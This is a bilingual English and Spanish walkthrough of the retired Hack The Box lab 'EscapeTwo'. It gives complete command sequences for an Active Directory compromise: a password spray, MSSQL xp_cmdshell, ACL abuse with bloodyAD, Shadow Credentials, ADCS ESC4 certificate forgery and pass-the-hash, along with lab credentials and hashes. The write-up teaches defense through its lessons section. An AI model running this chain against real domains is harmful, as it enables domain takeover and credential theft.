EscapeTwo
Executive summary — EscapeTwo is an Easy Active Directory box in assume-breach mode (we're given
rose:KxEPkKe6R8su). An SMB Accounting Department share holds Excel files with credentials for several users and forsa(MSSQL); a spray confirmsoscar, whose LDAP enumeration reveals the service accountssql_svcandca_svc(Kerberoasting them goes nowhere). Withsaandxp_cmdshellwe get a shell assql_svc, and asql-Configuration.INIleaks a password reused byryan(WinRM, user.txt). In BloodHound, ryan has WriteOwner overca_svc: withbloodyADwe take ownership and grant ourselves GenericAll, apply Shadow Credentials, and abuse an AD CS template vulnerable to ESC4 to issue an Administrator certificate. Path: xlsx -> sa/MSSQL -> ryan -> ca_svc (WriteOwner) -> ADCS ESC4 -> Administrator.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.6.78 |
Attack map
[assume-breach] rose : KxEPkKe6R8su (SMB)
| "Accounting Department" share -> accounts.xlsx leaks sa/angela/oscar/kevin
v
[spray] oscar valid -> netexec --users/--rid-brute reveals sql_svc, ca_svc, ryan
| Kerberoasting (sql_svc, ca_svc) -> hashes not cracked (dead end)
v
[MSSQL] sa : MSSQLP@ssw0rd! -> xp_cmdshell -> shell as sql_svc
| sql-Configuration.INI -> reused password -> ryan
v
[ryan] WinRM -> BloodHound: ryan WriteOwner over ca_svc
| bloodyAD: owner + GenericAll -> Shadow Credentials -> ca_svc hash
v
[ADCS] ca_svc -> ESC4 on DunderMifflinAuthentication -> Administrator cert
v
[ADMIN] Pass-the-Hash -> root.txt
1. Preparation: name resolution
Several
certipycommands later on depend on the domain controller's hostname resolving correctly. Better to pin it in/etc/hostsup front than discover it mid-attack.
echo "10.129.6.78 dc01.sequel.htb sequel.htb dc01" | sudo tee -a /etc/hosts
ping -c1 dc01.sequel.htb
This makes the attacking box resolve dc01.sequel.htb, sequel.htb and dc01.
Resumen ejecutivo — EscapeTwo es un Easy de Active Directory en modo assume-breach (nos dan
rose:KxEPkKe6R8su). Un share SMB Accounting Department guarda ficheros Excel con credenciales de varios usuarios y desa(MSSQL); un spray confirma aoscar, cuya enumeración LDAP revela las cuentas de serviciosql_svcyca_svc(el Kerberoasting sobre ellas no da fruto). Consayxp_cmdshellconseguimos shell comosql_svc, y unsql-Configuration.INIfiltra una contraseña reutilizada porryan(WinRM, user.txt). En BloodHound, ryan tiene WriteOwner sobreca_svc: conbloodyADnos hacemos dueños y nos damos GenericAll, aplicamos Shadow Credentials y abusamos de una plantilla de AD CS vulnerable a ESC4 para emitir un certificado de Administrator. Recorrido: xlsx -> sa/MSSQL -> ryan -> ca_svc (WriteOwner) -> ADCS ESC4 -> Administrator.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.6.78 |
Mapa del ataque
[assume-breach] rose : KxEPkKe6R8su (SMB)
| share "Accounting Department" -> accounts.xlsx filtra sa/angela/oscar/kevin
v
[spray] oscar valido -> netexec --users/--rid-brute revela sql_svc, ca_svc, ryan
| Kerberoasting (sql_svc, ca_svc) -> hashes sin crackear (callejon sin salida)
v
[MSSQL] sa : MSSQLP@ssw0rd! -> xp_cmdshell -> shell como sql_svc
| sql-Configuration.INI -> password reutilizada -> ryan
v
[ryan] WinRM -> BloodHound: ryan WriteOwner sobre ca_svc
| bloodyAD: owner + GenericAll -> Shadow Credentials -> hash de ca_svc
v
[ADCS] ca_svc -> ESC4 en DunderMifflinAuthentication -> cert de Administrator
v
[ADMIN] Pass-the-Hash -> root.txt
1. Preparación: resolución de nombres
Varios comandos de
certipymás adelante dependen de que el hostname del controlador de dominio resuelva correctamente. Conviene fijarlo desde el principio en/etc/hostsen vez de descubrirlo a medio ataque.
echo "10.129.6.78 dc01.sequel.htb sequel.htb dc01" | sudo tee -a /etc/hosts
ping -c1 dc01.sequel.htb
Con esto el equipo atacante resuelve dc01.sequel.htb, sequel.htb y dc01.
2. Validating the initial credential
This is an assume-breach scenario: we already start with a domain credential, rose:KxEPkKe6R8su. We validate it against SMB:
netexec smb 10.129.6.78 -u 'rose' -p 'KxEPkKe6R8su' --shares
# host: DC01 | domain: sequel.htb | Windows 10 / Server 2019 Build 17763 x64
# rose authenticates successfully
# visible shares: Accounting Department, Users, NETLOGON, SYSVOL
Accounting Department stands out right away: that kind of share usually holds internal documentation, a classic HTB hiding spot for credentials.
3. Share enumeration and document download
Watch the exact share name: it's Accounting Department, not "Departament" (an easy typo to make writing it from memory).
smbclient \\\\10.129.6.78\\'Accounting Department' -U 'rose'
smb: \> ls
smb: \> get accounts.xlsx
smb: \> get accounting_2024.xlsx
Two Excel files available: internal documents reachable over SMB, the machine's first big pivot.
4. Credentials inside the Excel file
An .xlsx is really a ZIP archive, so it opens normally and its sheets can be read. accounts.xlsx holds a table of users and passwords; accounting_2024.xlsx only has billing data, no use for exploitation.
angela : 0fwZ704mSpurII9
oscar : 86LxLBMgEWaKUnBG
kevin : Md9W1q1E5bZnVDv0
sa : MSSQLP@ssw0rd!
Key point: these credentials aren't guessed or cracked, they're discovered inside an internal document from the accounting department.
5. Credential spray against the domain
With four new credentials plus the ones we already had, the next step was validating them against the domain with a spray:
angela
oscar
kevin
sa
rose
sql_svc
ca_svc
michael
ryan
Administrator
0fwZ704mSpurII9
86LxLBMgEWaKUnBG
Md9W1q1E5bZnVDv0
MSSQLP@ssw0rd!
KxEPkKe6R8su
netexec smb 10.129.6.78 -u users.txt -p passwords.txt --continue-on-success
(The correct flag is --continue-on-success, not --continue-on-access, which is what I tried first.) Spray results:
rose : KxEPkKe6R8su [valid]
oscar : 86LxLBMgEWaKUnBG [valid]
angela / kevin -> don't authenticate over domain SMB
sa -> not a domain account, it's SQL Server's local account
6. Domain enumeration with oscar
With oscar authenticated, enumeration widens: shares (same permissions as rose), domain users and a RID brute:
netexec smb 10.129.6.78 -u oscar -p '86LxLBMgEWaKUnBG' --shares
netexec smb 10.129.6.78 -u oscar -p '86LxLBMgEWaKUnBG' --users
netexec smb 10.129.6.78 -u oscar -p '86LxLBMgEWaKUnBG' --rid-brute
# --users reveals service accounts: sql_svc, ca_svc
# --rid-brute confirms more groups/departments, and that ca_svc and sql_svc
# exist as domain objects (key for what comes later)
7. Kerberoasting (a dead end)
With service accounts identified, Kerberoasting was worth a shot: a weak password on either one cracks offline without touching the DC more than once.
impacket-GetUserSPNs sequel.htb/oscar:86LxLBMgEWaKUnBG -dc-ip 10.129.6.78 -request
KRB_AP_ERR_SKEW (Clock skew too great)
Kerberos requires the attacker's clock and the DC's to be reasonably in sync; the skew needs fixing (e.g. syncing the local clock against the DC) before retrying. After that, TGS tickets come back for sql_svc and ca_svc:
grep krb5tgs hashes.txt > hash2.txt
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz # rockyou still compressed
hashcat -m 13100 hash2.txt /usr/share/wordlists/rockyou.txt
The attack runs but cracks nothing: these service accounts have passwords strong enough to resist a dictionary. That path is dropped in favor of the MSSQL pivot.
8. MSSQL as sa
The sa:MSSQLP@ssw0rd! credential found in the Excel isn't a domain account — it's the local account with administrative privileges over the SQL Server engine itself. It's validated with local authentication:
netexec mssql 10.129.6.78 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth
(sequel.htb\sa) Pwn3d!
impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@10.129.6.78
9. xp_cmdshell and host enumeration
sa controls SQL Server, so xp_cmdshell gets enabled to run operating system commands:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- or, impacket-mssqlclient's built-in shortcut:
enable_xp_cmdshell
xp_cmdshell whoami
sequel\sql_svc
Important: sa has administrative control of the database, but system commands run as the service account sql_svc, not as SYSTEM or as sa.
xp_cmdshell "dir C:\Users"
xp_cmdshell "whoami /priv"
# C:\Users -> Administrator, Public, ryan, sql_svc
# whoami /priv -> sql_svc has no exploitable local privileges
# (nothing like SeImpersonatePrivilege): Potato-style techniques are ruled out
xp_cmdshell keeps disabling itself and needs re-enabling repeatedly, and PowerShell reverse shells fight back over quote escaping and listeners. Pushing further down that road turned out unnecessary: the next finding was enough to move on.
10. Reused password in the SQL install
Enumerating the disk turns up the SQL Server installation directory, and inside it a configuration file with plaintext credentials:
xp_cmdshell "dir C:\"
xp_cmdshell "type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SAPWD="MSSQLP@ssw0rd!"
The SQL installation's configuration file leaks the service account's own password, which turns out to be reused by a domain user.
11. WinRM as ryan
netexec winrm 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3'
evil-winrm -i 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3'
*Evil-WinRM* PS C:\Users\ryan\Documents> cd C:\Users\ryan\Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt
12. BloodHound collection
netexec ldap 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3' --bloodhound --collection All --dns-server 10.129.6.78
The generated ZIP is saved under ~/.nxc/logs/, a hidden path that BloodHound's file picker doesn't show by default; toggling "show hidden" (Ctrl+H in the file browser) is needed to select it.
13. WriteOwner over ca_svc
Once the ZIP is loaded into BloodHound, the relevant relationship is clear:
RYAN@SEQUEL.HTB --WriteOwner--> CA_SVC@SEQUEL.HTB
WriteOwner lets you change an object's owner, but on its own it isn't full control. Trying Shadow Credentials directly fails:
certipy shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.129.6.78
insufficient access rights
The permission has to be turned into real control in two steps: take ownership, then grant yourself rights over the object you now own:
bloodyAD -d sequel.htb --host 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
bloodyAD -d sequel.htb --host 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan
With GenericAll now granted, the Shadow Credentials attack is repeated and this time it returns ca_svc's NTLM hash:
certipy shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.129.6.78
ca_svc NT hash: 3b181b914e7a9d5508ea1e20bc2b7fce
netexec smb 10.129.6.78 -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce # confirms the hash
14. AD CS: a template vulnerable to ESC4
With ca_svc, AD CS gets audited for abusable certificate templates:
certipy find -vulnerable -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 -stdout
Template: DunderMifflinAuthentication
Vulnerability: ESC4 (dangerous write permissions on the template,
via membership in the Cert Publishers group)
ESC4 means the template itself is poorly protected: whoever has write permissions on its configuration (here,
ca_svcviaCert Publishers) can rewrite it to become as exploitable as a classic ESC1 template (letting the requester supply their own Subject Alternative Name).
certipy template -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 \
-template DunderMifflinAuthentication -target dc01.sequel.htb -save-old
certipy saves the original configuration to JSON (-save-old, so it can be restored later) and rewrites the template to accept an arbitrary SAN in the request. With that, a certificate is requested impersonating Administrator:
certipy req -ca sequel-DC01-CA -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 \
-template DunderMifflinAuthentication -target dc01.sequel.htb -upn administrator@sequel.htb
Two errors along the way: first a NetBIOS timeout (fixed by making sure /etc/hosts resolves dc01.sequel.htb correctly, the reason for phase 1), then CERTSRV_E_SUBJECT_DNS_REQUIRED because the template requires a DNS name in the SAN. The correct request adds -dns:
certipy req -ca sequel-DC01-CA -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 \
-template DunderMifflinAuthentication -target dc01.sequel.htb \
-upn administrator@sequel.htb -dns dc01.sequel.htb
Certificate stored to file 'administrator.pfx'
15. Authenticating as Administrator
certipy auth -pfx administrator.pfx -dc-ip 10.129.6.78
Got hash for 'administrator@sequel.htb': 7a8d4e04986afa8ed4060f75e5a0b3ff
evil-winrm -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff -i 10.129.6.78
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
Domain fully compromised, from assume-breach to Administrator. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info | "Accounting Department" share | Multiple users' and sa's credentials in Excel files | Valid SMB account (oscar) + MSSQL access |
| Foothold | MSSQL (sa) | xp_cmdshell enabled + sql-Configuration.INI with plaintext password | Shell as sql_svc; password reused by ryan |
| Lateral movement | ryan account | Password reuse between SQL service account and domain account | WinRM as ryan (user.txt) |
| PrivEsc (ACL) | ca_svc | Loosely restricted WriteOwner -> ownership + GenericAll -> Shadow Credentials | ca_svc NTLM hash |
| PrivEsc (ADCS) | DunderMifflinAuthentication template | ESC4: Cert Publishers with write permissions over the template | Administrator certificate -> Domain Admin (PtH) |
Lessons learned
- Internal documents are gold: a poorly protected Excel file on an SMB share leaked the credentials that kicked off the entire chain.
- Protect the sa account: disable
xp_cmdshellby default and use least-privilege service accounts, with no secrets sitting in readable configuration files. - Don't reuse passwords: a SQL installation file's password shouldn't authenticate domain accounts.
- Strong passwords do work: Kerberoasting sql_svc/ca_svc failed because their passwords resisted rockyou.txt — the one path this attack found closed.
- BloodHound doesn't grant access by itself: WriteOwner is a starting point, not real control; it has to be converted into ownership plus concrete rights before it can be abused.
- ACLs on AD CS templates matter: granting write permissions (via groups like Cert Publishers) over a certificate template effectively equals compromising the domain (ESC4).
2. Validación de la credencial inicial
Es un escenario assume-breach: partimos ya de una credencial de dominio, rose:KxEPkKe6R8su. La validamos contra SMB:
netexec smb 10.129.6.78 -u 'rose' -p 'KxEPkKe6R8su' --shares
# host: DC01 | dominio: sequel.htb | Windows 10 / Server 2019 Build 17763 x64
# rose autentica correctamente
# shares visibles: Accounting Department, Users, NETLOGON, SYSVOL
El nombre Accounting Department destaca de inmediato: ese tipo de recurso suele guardar documentación interna, un clásico escondite de credenciales en HTB.
3. Enumeración del share y descarga de documentos
Ojo con el nombre exacto del recurso: es Accounting Department, no "Departament" (un error tipográfico fácil de cometer al escribirlo de memoria).
smbclient \\\\10.129.6.78\\'Accounting Department' -U 'rose'
smb: \> ls
smb: \> get accounts.xlsx
smb: \> get accounting_2024.xlsx
Dos ficheros Excel disponibles: documentos internos accesibles vía SMB, el primer gran pivote de la máquina.
4. Credenciales dentro del Excel
Un .xlsx es en realidad un ZIP, así que basta con abrirlo normalmente para leer sus hojas. accounts.xlsx contiene una tabla de usuarios y contraseñas; accounting_2024.xlsx solo trae datos de facturación, sin utilidad para la explotación.
angela : 0fwZ704mSpurII9
oscar : 86LxLBMgEWaKUnBG
kevin : Md9W1q1E5bZnVDv0
sa : MSSQLP@ssw0rd!
Punto clave: estas credenciales no se adivinan ni se crackean, se descubren dentro de un documento interno del departamento de contabilidad.
5. Spray de credenciales contra el dominio
Con cuatro credenciales nuevas más las que ya teníamos, tocaba validarlas contra el dominio con un spray:
angela
oscar
kevin
sa
rose
sql_svc
ca_svc
michael
ryan
Administrator
0fwZ704mSpurII9
86LxLBMgEWaKUnBG
Md9W1q1E5bZnVDv0
MSSQLP@ssw0rd!
KxEPkKe6R8su
netexec smb 10.129.6.78 -u users.txt -p passwords.txt --continue-on-success
(El flag correcto es --continue-on-success, no --continue-on-access, que es el primer nombre que se me ocurrió.) Resultado del spray:
rose : KxEPkKe6R8su [valida]
oscar : 86LxLBMgEWaKUnBG [valida]
angela / kevin -> no autentican por SMB de dominio
sa -> no es cuenta de dominio, es cuenta local de SQL Server
6. Enumeración del dominio con oscar
Con oscar ya autenticado, se amplía la enumeración: shares (mismos permisos que rose), usuarios del dominio y RID brute:
netexec smb 10.129.6.78 -u oscar -p '86LxLBMgEWaKUnBG' --shares
netexec smb 10.129.6.78 -u oscar -p '86LxLBMgEWaKUnBG' --users
netexec smb 10.129.6.78 -u oscar -p '86LxLBMgEWaKUnBG' --rid-brute
# --users revela cuentas de servicio: sql_svc, ca_svc
# --rid-brute confirma mas grupos/departamentos, y que ca_svc y sql_svc
# existen como objetos de dominio (clave para lo que viene despues)
7. Kerberoasting (callejón sin salida)
Con cuentas de servicio identificadas, tocaba probar Kerberoasting: si su contraseña es débil, se crackea offline sin tocar el DC más que una vez.
impacket-GetUserSPNs sequel.htb/oscar:86LxLBMgEWaKUnBG -dc-ip 10.129.6.78 -request
KRB_AP_ERR_SKEW (Clock skew too great)
Kerberos exige que la hora del atacante y la del DC estén razonablemente sincronizadas; hay que corregir el desfase (p. ej. sincronizando el reloj local contra el DC) antes de repetir la petición. Tras solucionarlo se obtienen TGS para sql_svc y ca_svc:
grep krb5tgs hashes.txt > hash2.txt
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz # rockyou aun comprimido
hashcat -m 13100 hash2.txt /usr/share/wordlists/rockyou.txt
El ataque corre pero no recupera ninguna contraseña: las cuentas de servicio usan contraseñas lo bastante fuertes como para resistir un diccionario. Se descarta esta vía y se continúa por el pivote de MSSQL.
8. MSSQL como sa
La credencial sa:MSSQLP@ssw0rd! encontrada en el Excel no es de dominio, sino la cuenta local con privilegios administrativos del propio motor SQL Server. Se valida con autenticación local:
netexec mssql 10.129.6.78 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth
(sequel.htb\sa) Pwn3d!
impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@10.129.6.78
9. xp_cmdshell y enumeración del host
sa controla SQL Server, así que se habilita xp_cmdshell para ejecutar comandos del sistema operativo:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- o, atajo de impacket-mssqlclient:
enable_xp_cmdshell
xp_cmdshell whoami
sequel\sql_svc
Importante: sa tiene el control administrativo de la base de datos, pero los comandos del sistema corren como la cuenta de servicio sql_svc, no como SYSTEM ni como sa.
xp_cmdshell "dir C:\Users"
xp_cmdshell "whoami /priv"
# C:\Users -> Administrator, Public, ryan, sql_svc
# whoami /priv -> sql_svc no tiene privilegios locales explotables
# (nada tipo SeImpersonatePrivilege): las tecnicas Potato quedan descartadas
xp_cmdshell se desactiva solo con frecuencia (hay que reactivarlo varias veces) y las reverse shells por PowerShell dan guerra con el escaping de comillas y los listeners. Al final resultó innecesario insistir por esa vía: el siguiente hallazgo bastó para avanzar.
10. Contraseña reutilizada en la instalación de SQL
Enumerando el disco aparece el directorio de instalación de SQL Server, y dentro un fichero de configuración con credenciales en texto claro:
xp_cmdshell "dir C:\"
xp_cmdshell "type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SAPWD="MSSQLP@ssw0rd!"
El fichero de configuración de la instalación de SQL filtra la contraseña de la propia cuenta de servicio, que resulta estar reutilizada por un usuario del dominio.
11. WinRM como ryan
netexec winrm 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3'
evil-winrm -i 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3'
*Evil-WinRM* PS C:\Users\ryan\Documents> cd C:\Users\ryan\Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt
12. Recolección BloodHound
netexec ldap 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3' --bloodhound --collection All --dns-server 10.129.6.78
El ZIP generado se guarda bajo ~/.nxc/logs/, una ruta oculta que el selector de ficheros de BloodHound no muestra por defecto; hay que activar "mostrar ocultos" (Ctrl+H en el explorador de archivos) para poder seleccionarlo.
13. WriteOwner sobre ca_svc
Cargado el ZIP en BloodHound, la relación relevante aparece clara:
RYAN@SEQUEL.HTB --WriteOwner--> CA_SVC@SEQUEL.HTB
WriteOwner permite cambiar el propietario del objeto, pero por sí solo no da control total. Intentar Shadow Credentials directamente falla:
certipy shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.129.6.78
insufficient access rights
Hay que convertir el permiso en control real en dos pasos: tomar la propiedad y luego concederse permisos sobre el objeto ya poseído:
bloodyAD -d sequel.htb --host 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
bloodyAD -d sequel.htb --host 10.129.6.78 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan
Con GenericAll ya concedido, se repite el ataque de Shadow Credentials y esta vez sí devuelve el hash NTLM de ca_svc:
certipy shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.129.6.78
ca_svc NT hash: 3b181b914e7a9d5508ea1e20bc2b7fce
netexec smb 10.129.6.78 -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce # confirma el hash
14. AD CS: plantilla vulnerable a ESC4
Con ca_svc se audita AD CS en busca de plantillas de certificado abusables:
certipy find -vulnerable -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 -stdout
Template: DunderMifflinAuthentication
Vulnerability: ESC4 (permisos de escritura peligrosos sobre la plantilla,
via pertenencia al grupo Cert Publishers)
ESC4 significa que la plantilla en sí está mal protegida: quien tiene permisos de escritura sobre su configuración (aquí,
ca_svcvíaCert Publishers) puede reescribirla para volverla tan explotable como una plantilla ESC1 clásica (permitir que el solicitante indique su propio Subject Alternative Name).
certipy template -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 \
-template DunderMifflinAuthentication -target dc01.sequel.htb -save-old
certipy guarda la configuración original en JSON (-save-old, para poder restaurarla después) y reescribe la plantilla para que acepte un SAN arbitrario en la petición. Con eso, se solicita un certificado suplantando a Administrator:
certipy req -ca sequel-DC01-CA -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 \
-template DunderMifflinAuthentication -target dc01.sequel.htb -upn administrator@sequel.htb
Dos errores en el camino: primero un timeout de NetBIOS (se resuelve asegurando que /etc/hosts resuelve bien dc01.sequel.htb, el motivo de la fase 1), y luego CERTSRV_E_SUBJECT_DNS_REQUIRED porque la plantilla exige un nombre DNS en el SAN. La petición correcta añade -dns:
certipy req -ca sequel-DC01-CA -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.6.78 \
-template DunderMifflinAuthentication -target dc01.sequel.htb \
-upn administrator@sequel.htb -dns dc01.sequel.htb
Certificate stored to file 'administrator.pfx'
15. Autenticación como Administrator
certipy auth -pfx administrator.pfx -dc-ip 10.129.6.78
Got hash for 'administrator@sequel.htb': 7a8d4e04986afa8ed4060f75e5a0b3ff
evil-winrm -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff -i 10.129.6.78
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
Dominio comprometido por completo, de assume-breach a Administrator. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info | Share "Accounting Department" | Credenciales de varios usuarios y de sa en ficheros Excel | Cuentas SMB validas (oscar) + acceso a MSSQL |
| Foothold | MSSQL (sa) | xp_cmdshell habilitado + sql-Configuration.INI con password en claro | Shell como sql_svc; password reutilizada por ryan |
| Lateral | Cuenta ryan | Reutilización de contraseña entre cuenta de servicio SQL y cuenta de dominio | WinRM como ryan (user.txt) |
| PrivEsc (ACL) | ca_svc | WriteOwner mal restringido -> ownership + GenericAll -> Shadow Credentials | Hash NTLM de ca_svc |
| PrivEsc (ADCS) | Plantilla DunderMifflinAuthentication | ESC4: Cert Publishers con permisos de escritura sobre la plantilla | Certificado de Administrator -> Domain Admin (PtH) |
Lecciones aprendidas
- Los documentos internos son oro: un Excel mal protegido en un share SMB expuso las credenciales que arrancaron toda la cadena.
- Protege la cuenta sa: desactiva
xp_cmdshellpor defecto y usa cuentas de servicio con privilegios mínimos, sin secretos en ficheros de configuración legibles. - No reutilices contraseñas: la de un fichero de instalación de SQL no debe servir para autenticar cuentas de dominio.
- Las contraseñas fuertes sí funcionan: el Kerberoasting contra sql_svc/ca_svc fracasó porque sus contraseñas resistieron rockyou.txt — la única vía que este ataque encontró cerrada.
- BloodHound no da acceso por sí solo: WriteOwner es un punto de partida, no control real; hay que convertirlo en ownership + permisos concretos antes de poder abusarlo.
- ACLs sobre plantillas de AD CS: conceder permisos de escritura (vía grupos como Cert Publishers) sobre una plantilla de certificado equivale, en la práctica, a comprometer el dominio (ESC4).